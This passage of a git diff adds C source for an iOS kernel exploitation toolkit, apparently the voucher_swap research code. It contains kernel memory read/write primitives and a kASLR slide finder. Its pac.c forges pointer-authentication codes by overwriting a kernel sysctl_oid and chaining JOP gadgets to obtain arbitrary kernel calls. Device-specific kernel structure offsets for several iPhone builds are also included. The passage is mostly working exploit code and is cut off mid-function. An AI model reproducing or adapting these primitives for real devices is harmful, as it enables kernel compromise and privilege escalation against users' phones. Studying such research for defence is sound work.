32-bit value from kernel memory. If the read fails, -1 is returned. + */ +uint32_t kernel_read32(uint64_t address); + +/* + * kernel_read64 + * + * Description: + * Read a 64-bit value from kernel memory. If the read fails, -1 is returned. + */ +uint64_t kernel_read64(uint64_t address); + +/* + * kernel_write8 + * + * Description: + * Write a single byte to kernel memory. + */ +bool kernel_write8(uint64_t address, uint8_t value); + +/* + * kernel_write16 + * + * Description: + * Write a 16-bit value to kernel memory. + */ +bool kernel_write16(uint64_t address, uint16_t value); + +/* + * kernel_write32 + * + * Description: + * Write a 32-bit value to kernel memory. + */ +bool kernel_write32(uint64_t address, uint32_t value); + +/* + * kernel_write64 + * + * Description: + * Write a 64-bit value to kernel memory. + */ +bool kernel_write64(uint64_t address, uint64_t value); + +/* + * kernel_ipc_port_lookup + * + * Description: + * Get the address of the ipc_port and ipc_entry for a Mach port name. + */ +bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, + uint64_t *ipc_port, uint64_t *ipc_entry); + +#undef extern + +#endif diff --git a/kernel_call/kernel_slide.c b/kernel_call/kernel_slide.c new file mode 100755 index 0000000..832a179 --- /dev/null +++ b/kernel_call/kernel_slide.c @@ -0,0 +1,88 @@ +/* + * kernel_slide.c + * Brandon Azad + */ +#define KERNEL_SLIDE_EXTERN +#include "kernel_slide.h" + +#include +#include +#include + +#include "kernel_memory.h" +#include "log.h" +#include "parameters.h" +#include "platform.h" + +/* + * is_kernel_base + * + * Description: + * Checks if the given address is the kernel base. + */ +static bool +is_kernel_base(uint64_t base) { + // Read the data at the base address as a Mach-O header. + struct mach_header_64 header = {}; + bool ok = kernel_read(base, &header, sizeof(header)); + if (!ok) { + return false; + } + // Validate that this looks like the kernel base. We don't check the CPU subtype since it + // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1, + // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is + // CPU_SUBTYPE_ARM64_V8). + if (!(header.magic == MH_MAGIC_64 + && header.cputype == platform.cpu_type + && header.filetype == MH_EXECUTE + && header.ncmds > 2)) { + return false; + } + return true; +} + +bool +kernel_slide_init() { + if (kernel_slide != 0) { + return true; + } + // Get the address of the host port. + mach_port_t host = mach_host_self(); + assert(MACH_PORT_VALID(host)); + uint64_t host_port; + bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL); + mach_port_deallocate(mach_task_self(), host); + if (!ok) { + ERROR("could not lookup host port"); + return false; + } + // Get the address of realhost. + uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject)); + return kernel_slide_init_with_kernel_image_address(realhost); +} + +bool +kernel_slide_init_with_kernel_image_address(uint64_t address) { + if (kernel_slide != 0) { + return true; + } + // Find the highest possible kernel base address that could still correspond to the given + // kernel image address. + uint64_t base = STATIC_ADDRESS(kernel_base); + assert(address > base); + base = base + ((address - base) / kernel_slide_step) * kernel_slide_step; + // Now walk backwards from that kernel base one kernel slide at a time until we find the + // real kernel base. + while (base > STATIC_ADDRESS(kernel_base)) { + bool found = is_kernel_base(base); + if (found) { + kernel_slide = base - STATIC_ADDRESS(kernel_base); + DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide); + return true; + } + base -= kernel_slide_step; + } + ERROR("could not find kernel base"); + ERROR("could not determine kernel slide"); + return false; +} diff --git a/kernel_call/kernel_slide.h b/kernel_call/kernel_slide.h new file mode 100755 index 0000000..924485d --- /dev/null +++ b/kernel_call/kernel_slide.h @@ -0,0 +1,42 @@ +/* + * kernel_slide.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_ +#define VOUCHER_SWAP__KERNEL_SLIDE_H_ + +#include +#include + +#ifdef KERNEL_SLIDE_EXTERN +#define extern KERNEL_SLIDE_EXTERN +#endif + +/* + * kernel_slide + * + * Description: + * The kASLR slide. + */ +extern uint64_t kernel_slide; + +/* + * kernel_slide_init + * + * Description: + * Find the value of the kernel slide using kernel_read() and current_task. + */ +bool kernel_slide_init(void); + +/* + * kernel_slide_init_with_kernel_image_address + * + * Description: + * Find the value of the kernel slide using kernel_read(), starting with an address that is + * known to reside within the kernel image. + */ +bool kernel_slide_init_with_kernel_image_address(uint64_t address); + +#undef extern + +#endif diff --git a/kernel_call/log.c b/kernel_call/log.c new file mode 100755 index 0000000..0ff5f01 --- /dev/null +++ b/kernel_call/log.c @@ -0,0 +1,37 @@ +/* + * log.c + * Brandon Azad + */ +#include "log.h" + +#include +#include +#include + +void +log_internal(char type, const char *format, ...) { + if (log_implementation != NULL) { + va_list ap; + va_start(ap, format); + log_implementation(type, format, ap); + va_end(ap); + } +} + +// The default logging implementation prints to stderr with a nice hacker prefix. +static void +log_stderr(char type, const char *format, va_list ap) { + char *message = NULL; + vasprintf(&message, format, ap); + assert(message != NULL); + switch (type) { + case 'D': type = 'D'; break; + case 'I': type = '+'; break; + case 'W': type = '!'; break; + case 'E': type = '-'; break; + } + fprintf(stderr, "[%c] %s\n", type, message); + free(message); +} + +void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr; diff --git a/kernel_call/log.h b/kernel_call/log.h new file mode 100755 index 0000000..af1920f --- /dev/null +++ b/kernel_call/log.h @@ -0,0 +1,57 @@ +/* + * log.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__LOG_H_ +#define VOUCHER_SWAP__LOG_H_ + +#include +#include + +/* + * log_implementation + * + * Description: + * This is the log handler that will be executed when code wants to log a message. The default + * implementation logs the message to stderr. Setting this value to NULL will disable all + * logging. Specify a custom log handler to process log messages in another way. + * + * Parameters: + * type A character representing the type of message that is being + * logged. + * format A printf-style format string describing the error message. + * ap The variadic argument list for the format string. + * + * Log Type: + * The type parameter is one of: + * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug + * verbosity. + * - I: Info: Used to convey general information about the exploit or its progress. + * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was + * encountered. + * - E: Error: Used to indicate that an unrecoverable error was encountered. The code + * might continue running after an error was encountered, but it probably will + * not succeed. + */ +extern void (*log_implementation)(char type, const char *format, va_list ap); + +#define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG) + +#if DEBUG +#define DEBUG_TRACE(level, fmt, ...) \ + do { \ + if (DEBUG_LEVEL(level)) { \ + log_internal('D', fmt, ##__VA_ARGS__); \ + } \ + } while (0) +#else +#define DEBUG_TRACE(level, fmt, ...) do {} while (0) +#endif +#define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__) +#define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__) +#define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__) + +// A function to call the logging implementation. +void log_internal(char type, const char *format, ...) __printflike(2, 3); + +#endif diff --git a/kernel_call/mach_vm.h b/kernel_call/mach_vm.h new file mode 100755 index 0000000..93263f0 --- /dev/null +++ b/kernel_call/mach_vm.h @@ -0,0 +1,46 @@ +/* + * mach_vm.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__MACH_VM_H_ +#define VOUCHER_SWAP__MACH_VM_H_ + +#include + +extern +kern_return_t mach_vm_allocate +( + vm_map_t target, + mach_vm_address_t *address, + mach_vm_size_t size, + int flags +); + +extern +kern_return_t mach_vm_deallocate +( + vm_map_t target, + mach_vm_address_t address, + mach_vm_size_t size +); + +extern +kern_return_t mach_vm_write +( + vm_map_t target_task, + mach_vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt +); + +extern +kern_return_t mach_vm_read_overwrite +( + vm_map_t target_task, + mach_vm_address_t address, + mach_vm_size_t size, + mach_vm_address_t data, + mach_vm_size_t *outsize +); + +#endif diff --git a/kernel_call/pac.c b/kernel_call/pac.c new file mode 100755 index 0000000..9f036fc --- /dev/null +++ b/kernel_call/pac.c @@ -0,0 +1,272 @@ +/* + * kernel_call/pac.c + * Brandon Azad + */ +#include "pac.h" + +#include "kernel_call.h" +#include "kc_parameters.h" +#include "user_client.h" +#include "kernel_memory.h" +#include "log.h" +#include "mach_vm.h" +#include "parameters.h" + +#if __arm64e__ + +// ---- Global variables -------------------------------------------------------------------------- + +// The address of our kernel buffer. +static uint64_t kernel_pacxa_buffer; + +// The forged value PACIZA('mov x0, x4 ; br x5'). +static uint64_t paciza__mov_x0_x4__br_x5; + +// ---- Stage 2 ----------------------------------------------------------------------------------- + +/* + * stage1_kernel_call_7 + * + * Description: + * Call a kernel function using our stage 1 execute primitive with explicit registers. + * + * See stage1_kernel_call_7v. + */ +static uint32_t +stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3, + uint64_t x4, uint64_t x5, uint64_t x6) { + uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 }; + return stage1_kernel_call_7v(function, 7, arguments); +} + +/* + * stage1_init_kernel_pacxa_forging + * + * Description: + * Initialize our stage 1 capability to forge PACIA and PACDA pointers. + */ +static void +stage1_init_kernel_pacxa_forging() { + // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop(). + // Because these values already contain the PACIZA code, we can call them with the stage 0 + // call primitive to start/stop the module. + uint64_t paciza__l2tp_domain_module_start = kernel_read64( + ADDRESS(paciza_pointer__l2tp_domain_module_start)); + uint64_t paciza__l2tp_domain_module_stop = kernel_read64( + ADDRESS(paciza_pointer__l2tp_domain_module_stop)); + + // Read out the original value of sysctl__net_ppp_l2tp__data. + uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)]; + kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); + + // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that + // sysctl_unregister_oid() will execute the following instruction sequence: + // + // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler + // CBNZ X19, loc_FFFFFFF007EBD330 + // CBZ X10, loc_FFFFFFF007EBD330 + // MOV X19, #0 + // MOV X11, X9 ; X11 = &old_oidp->oid_handler + // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler + // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler) + // PACIZA X10 ; X10 = PACIZA(X10) + // STR X10, [X9] ; old_oidp->oid_handler = X10 + // + uint8_t fake_sysctl_oid[SIZE(sysctl_oid)]; + memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid)); + FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link); + FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp); + FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000; + FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5); + FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1; + FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0; + + // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid. + kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid)); + + // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake + // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget. + __unused uint32_t ret; + ret = stage1_kernel_call_7( + paciza__l2tp_domain_module_stop, // PC + 0, 0, 0, 0, 0, 0); // X1 - X6 + DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", + "l2tp_domain_module_stop", ret, + kernel_read32(ADDRESS(l2tp_domain_inited))); + + // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not + // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use + // this value to reconstruct the correct PACIZA'd pointer. + uint64_t handler = kernel_read64( + ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler)); + paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1)); + DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5); + + // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up. + kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); + ret = stage1_kernel_call_7( + paciza__mov_x0_x4__br_x5, // PC + 0, 0, 0, // X1 - X3 + ADDRESS(sysctl__net_ppp_l2tp), // X4 + ADDRESS(sysctl_unregister_oid), // X5 + 0); // X6 + DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid", + ADDRESS(sysctl__net_ppp_l2tp), ret); + + // And finally call l2tp_domain_module_start() to re-initialize the module. + ret = stage1_kernel_call_7( + paciza__l2tp_domain_module_start, // PC + 0, 0, 0, 0, 0, 0); // X1 - X6 + DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", + "l2tp_domain_module_start", ret, + kernel_read32(ADDRESS(l2tp_domain_inited))); + + // Alright, so now we have an arbitrary call gadget! + kernel_pacxa_buffer = stage1_get_kernel_buffer(); +} + +// ---- Stage 2 ----------------------------------------------------------------------------------- + +/* + * stage2_kernel_forge_pacxa + * + * Description: + * Forge a PACIA or PACDA pointer using the kernel forging gadgets. + */ +static uint64_t +stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) { + const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer); + const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); + // Initialize the kernel_pacxa_buffer to be all zeros. + uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset]; + memset(pacxa_buffer, 0, sizeof(pacxa_buffer)); + kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer)); + // The buffer address we pass to the gadget is offset from the part of that we initialize + // (to save us some space). The result is stored at different offsets in the buffer + // depending on whether the operation is PACIA or PACDA. + uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset; + uint64_t result_address = buffer_address; + uint64_t pacxa_gadget; + if (instruction) { + result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); + pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget); + } else { + result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); + pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget); + } + // We need to set: + // + // x2 = buffer_address + // x9 = address + // x10 = context + // + // In order to do that we'll execute the following JOP sequence before jumping to the + // gadget: + // + // mov x0, x4 ; br x5 + // mov x9, x0 ; br x1 + // mov x10, x3 ; br x6 + // + __unused uint32_t ret; + ret = stage1_kernel_call_7( + paciza__mov_x0_x4__br_x5, // PC + ADDRESS(mov_x10_x3__br_x6), // X1 + buffer_address, // X2 + context, // X3 + address, // X4 + ADDRESS(mov_x9_x0__br_x1), // X5 + pacxa_gadget); // X6 + DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret); + // Now recover the PACXA'd value. + uint64_t pacxa = kernel_read64(result_address); + return pacxa; +} + +/* + * xpaci + * + * Description: + * Strip a PACIx code from a pointer. + */ +static uint64_t +xpaci(uint64_t pointer) { + asm("xpaci %[value]\n" : [value] "+r"(pointer)); + return pointer; +} + +/* + * xpacd + * + * Description: + * Strip a PACDx code from a pointer. + */ +static uint64_t +xpacd(uint64_t pointer) { + asm("xpacd %[value]\n" : [value] "+r"(pointer)); + return pointer; +} + +#endif // __arm64e__ + +// ---- API --------------------------------------------------------------------------------------- + +bool +stage2_kernel_call_init() { +#if __arm64e__ + stage1_init_kernel_pacxa_forging(); +#endif + return true; +} + +void +stage2_kernel_call_deinit() { +} + +uint32_t +stage2_kernel_call_7v(uint64_t function, + size_t argument_count, const uint64_t arguments[]) { + uint64_t paciza_function = kernel_forge_pacia(function, 0); + return stage1_kernel_call_7v(paciza_function, argument_count, arguments); +} + +uint64_t +kernel_forge_pacia(uint64_t pointer, uint64_t context) { +#if __arm64e__ + return stage2_kernel_forge_pacxa(pointer, context, true); +#else + return pointer; +#endif +} + +uint64_t +kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) { + uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff); + return kernel_forge_pacia(pointer, context); +} + +uint64_t +kernel_forge_pacda(uint64_t pointer, uint64_t context) { +#if __arm64e__ + return stage2_kernel_forge_pacxa(pointer, context, false); +#else + return pointer; +#endif +} + +uint64_t +kernel_xpaci(uint64_t pointer) { +#if __arm64e__ + return xpaci(pointer); +#else + return pointer; +#endif +} + +uint64_t +kernel_xpacd(uint64_t pointer) { +#if __arm64e__ + return xpacd(pointer); +#else + return pointer; +#endif +} diff --git a/kernel_call/pac.h b/kernel_call/pac.h new file mode 100755 index 0000000..34a6264 --- /dev/null +++ b/kernel_call/pac.h @@ -0,0 +1,48 @@ +/* + * kernel_call/pac.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_ +#define VOUCHER_SWAP__KERNEL_CALL__PAC_H_ + +#include +#include +#include + +/* + * stage2_kernel_call_init + * + * Description: + * Initialize stage 2 of kernel function calling. + * + * Initializes: + * stage2_kernel_call_7v() + * kernel_forge_pacia() + * kernel_forge_pacia_with_type() + * kernel_forge_pacda() + */ +bool stage2_kernel_call_init(void); + +/* + * stage2_kernel_call_deinit + * + * Description: + * Deinitialize stage 2 of kernel function calling. + */ +void stage2_kernel_call_deinit(void); + +/* + * stage2_kernel_call_7v + * + * Description: + * Call a kernel function using our stage 2 execute primitive. + * + * Restrictions: + * At most 7 arguments can be passed. + * The return value is truncated to 32 bits. + * At stage 2, only arguments X1 - X6 are controlled. + */ +uint32_t stage2_kernel_call_7v(uint64_t function, + size_t argument_count, const uint64_t arguments[]); + +#endif diff --git a/kernel_call/parameters.c b/kernel_call/parameters.c new file mode 100755 index 0000000..5a5c715 --- /dev/null +++ b/kernel_call/parameters.c @@ -0,0 +1,212 @@ +/* + * parameters.c + * Brandon Azad + */ +#define PARAMETERS_EXTERN +#include "parameters.h" + +#include +#include +#include +#include +#include + +#include "log.h" +#include "platform.h" +#include "platform_match.h" + +// ---- Initialization routines ------------------------------------------------------------------- + +// A struct describing an initialization. +struct initialization { + const char *devices; + const char *builds; + void (*init)(void); +}; + +// Run initializations matching this platform. +static size_t +run_initializations(struct initialization *inits, size_t count) { + size_t match_count = 0; + for (size_t i = 0; i < count; i++) { + struct initialization *init = &inits[i]; + if (platform_matches(init->devices, init->builds)) { + init->init(); + match_count++; + } + } + return match_count; +} + +// A helper macro to get the number of elements in a static array. +#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) + +// ---- General system parameters ----------------------------------------------------------------- + +// Initialization for general system parameters. +static void +init__system_parameters() { + STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000; + kernel_slide_step = 0x200000; + message_size_for_kmsg_zone = 76; + kmsg_zone_size = 256; + max_ool_ports_per_message = 16382; + gc_step = 2 * MB; +} + +// A list of general system parameter initializations by platform. +static struct initialization system_parameters[] = { + { "*", "*", init__system_parameters }, +}; + +// ---- Offset initialization --------------------------------------------------------------------- + +// Initialization for iPhone11,8 16C50 (and similar devices). +static void +offsets__iphone11_8__16C50() { + SIZE(ipc_entry) = 0x18; + OFFSET(ipc_entry, ie_object) = 0; + OFFSET(ipc_entry, ie_bits) = 8; + OFFSET(ipc_entry, ie_request) = 16; + + SIZE(ipc_port) = 0xa8; + BLOCK_SIZE(ipc_port) = 0x4000; + OFFSET(ipc_port, ip_bits) = 0; + OFFSET(ipc_port, ip_references) = 4; + OFFSET(ipc_port, waitq_flags) = 24; + OFFSET(ipc_port, imq_messages) = 64; + OFFSET(ipc_port, imq_msgcount) = 80; + OFFSET(ipc_port, imq_qlimit) = 82; + OFFSET(ipc_port, ip_receiver) = 96; + OFFSET(ipc_port, ip_kobject) = 104; + OFFSET(ipc_port, ip_nsrequest) = 112; + OFFSET(ipc_port, ip_requests) = 128; + OFFSET(ipc_port, ip_mscount) = 156; + OFFSET(ipc_port, ip_srights) = 160; + + SIZE(ipc_port_request) = 0x10; + OFFSET(ipc_port_request, ipr_soright) = 0; + + OFFSET(ipc_space, is_table_size) = 0x14; + OFFSET(ipc_space, is_table) = 0x20; + + SIZE(ipc_voucher) = 0x50; + BLOCK_SIZE(ipc_voucher) = 0x4000; + + OFFSET(proc, p_pid) = 0x60; + OFFSET(proc, p_ucred) = 0xf8; + OFFSET(proc, task) = 0x10; + OFFSET(proc, p_list) = 0x8; + + SIZE(sysctl_oid) = 0x50; + OFFSET(sysctl_oid, oid_parent) = 0x0; + OFFSET(sysctl_oid, oid_link) = 0x8; + OFFSET(sysctl_oid, oid_kind) = 0x14; + OFFSET(sysctl_oid, oid_handler) = 0x30; + OFFSET(sysctl_oid, oid_version) = 0x48; + OFFSET(sysctl_oid, oid_refcnt) = 0x4c; + + OFFSET(task, lck_mtx_type) = 0xb; + OFFSET(task, ref_count) = 0x10; + OFFSET(task, active) = 0x14; + OFFSET(task, map) = 0x20; + OFFSET(task, itk_space) = 0x300; + OFFSET(task, bsd_info) = 0x368; +} + +// Initialization for iPhone10,1 16B92 (and similar devices). +static void +offsets__iphone10_1__16B92() { + offsets__iphone11_8__16C50(); + + OFFSET(task, bsd_info) = 0x358; +} + +// Initialization for iPhone10,1 16B92 (and similar devices). +static void +offsets__iphone9_3__15E302() { + SIZE(ipc_entry) = 0x18; + OFFSET(ipc_entry, ie_object) = 0; + OFFSET(ipc_entry, ie_bits) = 8; + OFFSET(ipc_entry, ie_request) = 16; + + SIZE(ipc_port) = 0xa8; + BLOCK_SIZE(ipc_port) = 0x4000; + OFFSET(ipc_port, ip_bits) = 0; + OFFSET(ipc_port, ip_references) = 4; + OFFSET(ipc_port, waitq_flags) = 24; + OFFSET(ipc_port, imq_messages) = 0x40; + OFFSET(ipc_port, imq_msgcount) = 0x50; + OFFSET(ipc_port, imq_qlimit) = 0x52; + OFFSET(ipc_port, ip_receiver) = 0x60; + OFFSET(ipc_port, ip_kobject) = 0x68; + OFFSET(ipc_port, ip_nsrequest) = 0x70; + OFFSET(ipc_port, ip_requests) = 0x80; + OFFSET(ipc_port, ip_mscount) = 0x9c; + OFFSET(ipc_port, ip_srights) = 0xa0; + + SIZE(ipc_port_request) = 0x10; + OFFSET(ipc_port_request, ipr_soright) = 0; + + OFFSET(ipc_space, is_table_size) = 0x14; + OFFSET(ipc_space, is_table) = 0x20; + + SIZE(ipc_voucher) = 0x50; + BLOCK_SIZE(ipc_voucher) = 0x4000; + + OFFSET(proc, p_pid) = 0x10; + OFFSET(proc, p_ucred) = 0x100; + OFFSET(proc, task) = 0x18; + OFFSET(proc, p_list) = 0x8; + + SIZE(sysctl_oid) = 0x50; + OFFSET(sysctl_oid, oid_parent) = 0x0; + OFFSET(sysctl_oid, oid_link) = 0x8; + OFFSET(sysctl_oid, oid_kind) = 0x14; + OFFSET(sysctl_oid, oid_handler) = 0x30; + OFFSET(sysctl_oid, oid_version) = 0x48; + OFFSET(sysctl_oid, oid_refcnt) = 0x4c; + + OFFSET(task, lck_mtx_type) = 0xb; + OFFSET(task, ref_count) = 0x10; + OFFSET(task, active) = 0x14; + OFFSET(task, map) = 0x20; + OFFSET(task, itk_space) = 0x308; + OFFSET(task, bsd_info) = 0x368; +} + +// Initialize offset parameters whose values are computed from other parameters. +static void +initialize_computed_offsets() { + COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port); + COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher); +} + +// A list of offset initializations by platform. +static struct initialization offsets[] = { + { "*", "15A5278f-15G77", offsets__iphone9_3__15E302 }, + { "*", "16A366-16D5024a", offsets__iphone10_1__16B92 }, + { "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 }, + { "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 }, + { "*", "*", initialize_computed_offsets }, +}; + +// The minimum number of offsets that must match in order to declare a platform initialized. +static const size_t min_offsets = 2; + +// ---- Public API -------------------------------------------------------------------------------- + +bool +parameters_init() { + // Get general platform info. + platform_init(); + // Initialize general system parameters. + run_initializations(system_parameters, ARRAY_COUNT(system_parameters)); + // Initialize offsets. + size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); + if (count < min_offsets) { + ERROR("no offsets for %s %s", platform.machine, platform.osversion); + return false; + } + return true; +} diff --git a/kernel_call/parameters.h b/kernel_call/parameters.h new file mode 100755 index 0000000..ef15c65 --- /dev/null +++ b/kernel_call/parameters.h @@ -0,0 +1,130 @@ +/* + * parameters.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__PARAMETERS_H_ +#define VOUCHER_SWAP__PARAMETERS_H_ + +#include +#include +#include + +#ifdef PARAMETERS_EXTERN +#define extern PARAMETERS_EXTERN +#endif + +// Some helpful units. +#define KB (1024uLL) +#define MB (1024uLL * KB) +#define GB (1024uLL * MB) + +// Generate the name for an offset. +#define OFFSET(base_, object_) _##base_##__##object_##__offset_ + +// Generate the name for the size of an object. +#define SIZE(object_) _##object_##__size_ + +// Generate the name for the size of a zalloc block of objects. +#define BLOCK_SIZE(object_) _##object_##__block_size_ + +// Generate the name for the number of elements in a zalloc block. +#define COUNT_PER_BLOCK(object_) _##object_##__per_block_ + +// Generate the name for the address of an object. +#define ADDRESS(object_) _##object_##__address_ + +// Generate the name for the static (unslid) address of an object. +#define STATIC_ADDRESS(object_) _##object_##__static_address_ + +// A convenience macro for accessing a field of a structure. +#define FIELD(object_, struct_, field_, type_) \ + ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) ) + +// The static base address of the kernel. +extern uint64_t STATIC_ADDRESS(kernel_base); + +// The kernel_slide granularity. +extern uint64_t kernel_slide_step; + +// Messages up to this size are allocated from the dedicated ipc.kmsgs zone. +extern size_t message_size_for_kmsg_zone; + +// The size of elements in ipc.kmsgs. +extern size_t kmsg_zone_size; + +// The maximum number of OOL ports in a single message. +extern size_t max_ool_ports_per_message; + +// How much to allocate between sleeps while trying to trigger garbage collection. +extern size_t gc_step; + +// Parameters for ipc_entry. +extern size_t SIZE(ipc_entry); +extern size_t OFFSET(ipc_entry, ie_object); +extern size_t OFFSET(ipc_entry, ie_bits); +extern size_t OFFSET(ipc_entry, ie_request); + +// Parameters for ipc_port. +extern size_t SIZE(ipc_port); +extern size_t BLOCK_SIZE(ipc_port); +extern size_t COUNT_PER_BLOCK(ipc_port); +extern size_t OFFSET(ipc_port, ip_bits); +extern size_t OFFSET(ipc_port, ip_references); +extern size_t OFFSET(ipc_port, waitq_flags); +extern size_t OFFSET(ipc_port, imq_messages); +extern size_t OFFSET(ipc_port, imq_msgcount); +extern size_t OFFSET(ipc_port, imq_qlimit); +extern size_t OFFSET(ipc_port, ip_receiver); +extern size_t OFFSET(ipc_port, ip_kobject); +extern size_t OFFSET(ipc_port, ip_nsrequest); +extern size_t OFFSET(ipc_port, ip_requests); +extern size_t OFFSET(ipc_port, ip_mscount); +extern size_t OFFSET(ipc_port, ip_srights); + +// Parameters for ipc_port_request. +extern size_t SIZE(ipc_port_request); +extern size_t OFFSET(ipc_port_request, ipr_soright); + +// Parameters for struct ipc_space. +extern size_t OFFSET(ipc_space, is_table_size); +extern size_t OFFSET(ipc_space, is_table); + +// Parameters for ipc_voucher. +extern size_t SIZE(ipc_voucher); +extern size_t BLOCK_SIZE(ipc_voucher); +extern size_t COUNT_PER_BLOCK(ipc_voucher); + +// Parameters for struct proc. +extern size_t OFFSET(proc, p_pid); +extern size_t OFFSET(proc, p_ucred); +extern size_t OFFSET(proc, task); +extern size_t OFFSET(proc, p_list); + +// Parameters for struct sysctl_oid. +extern size_t SIZE(sysctl_oid); +extern size_t OFFSET(sysctl_oid, oid_parent); +extern size_t OFFSET(sysctl_oid, oid_link); +extern size_t OFFSET(sysctl_oid, oid_kind); +extern size_t OFFSET(sysctl_oid, oid_handler); +extern size_t OFFSET(sysctl_oid, oid_version); +extern size_t OFFSET(sysctl_oid, oid_refcnt); + +// Parameters for struct task. +extern size_t OFFSET(task, lck_mtx_type); +extern size_t OFFSET(task, ref_count); +extern size_t OFFSET(task, active); +extern size_t OFFSET(task, map); +extern size_t OFFSET(task, itk_space); +extern size_t OFFSET(task, bsd_info); + +/* + * parameters_init + * + * Description: + * Initialize the parameters for the system. + */ +bool parameters_init(void); + +#undef extern + +#endif diff --git a/kernel_call/platform.c b/kernel_call/platform.c new file mode 100755 index 0000000..6ced006 --- /dev/null +++ b/kernel_call/platform.c @@ -0,0 +1,54 @@ +/* + * platform.c + * Brandon Azad + */ +#define PLATFORM_EXTERN +#include "platform.h" + +#include +#include +#include +#include + +#include "log.h" + +// ---- Initialization ---------------------------------------------------------------------------- + +void +platform_init() { + // Only initialize once. + static bool initialized = false; + if (initialized) { + return; + } + initialized = true; + // Set the page size. + platform.page_size = vm_kernel_page_size; + page_size = platform.page_size; + // Get the machine name (e.g. iPhone11,8). + struct utsname u = {}; + int error = uname(&u); + assert(error == 0); + strncpy((char *)platform.machine, u.machine, sizeof(platform.machine)); + // Get the build (e.g. 16C50). + size_t osversion_size = sizeof(platform.osversion); + error = sysctlbyname("kern.osversion", + (void *)platform.osversion, &osversion_size, NULL, 0); + assert(error == 0); + // Get basic host info. + mach_port_t host = mach_host_self(); + assert(MACH_PORT_VALID(host)); + host_basic_info_data_t basic_info; + mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT; + kern_return_t kr = host_info(host, 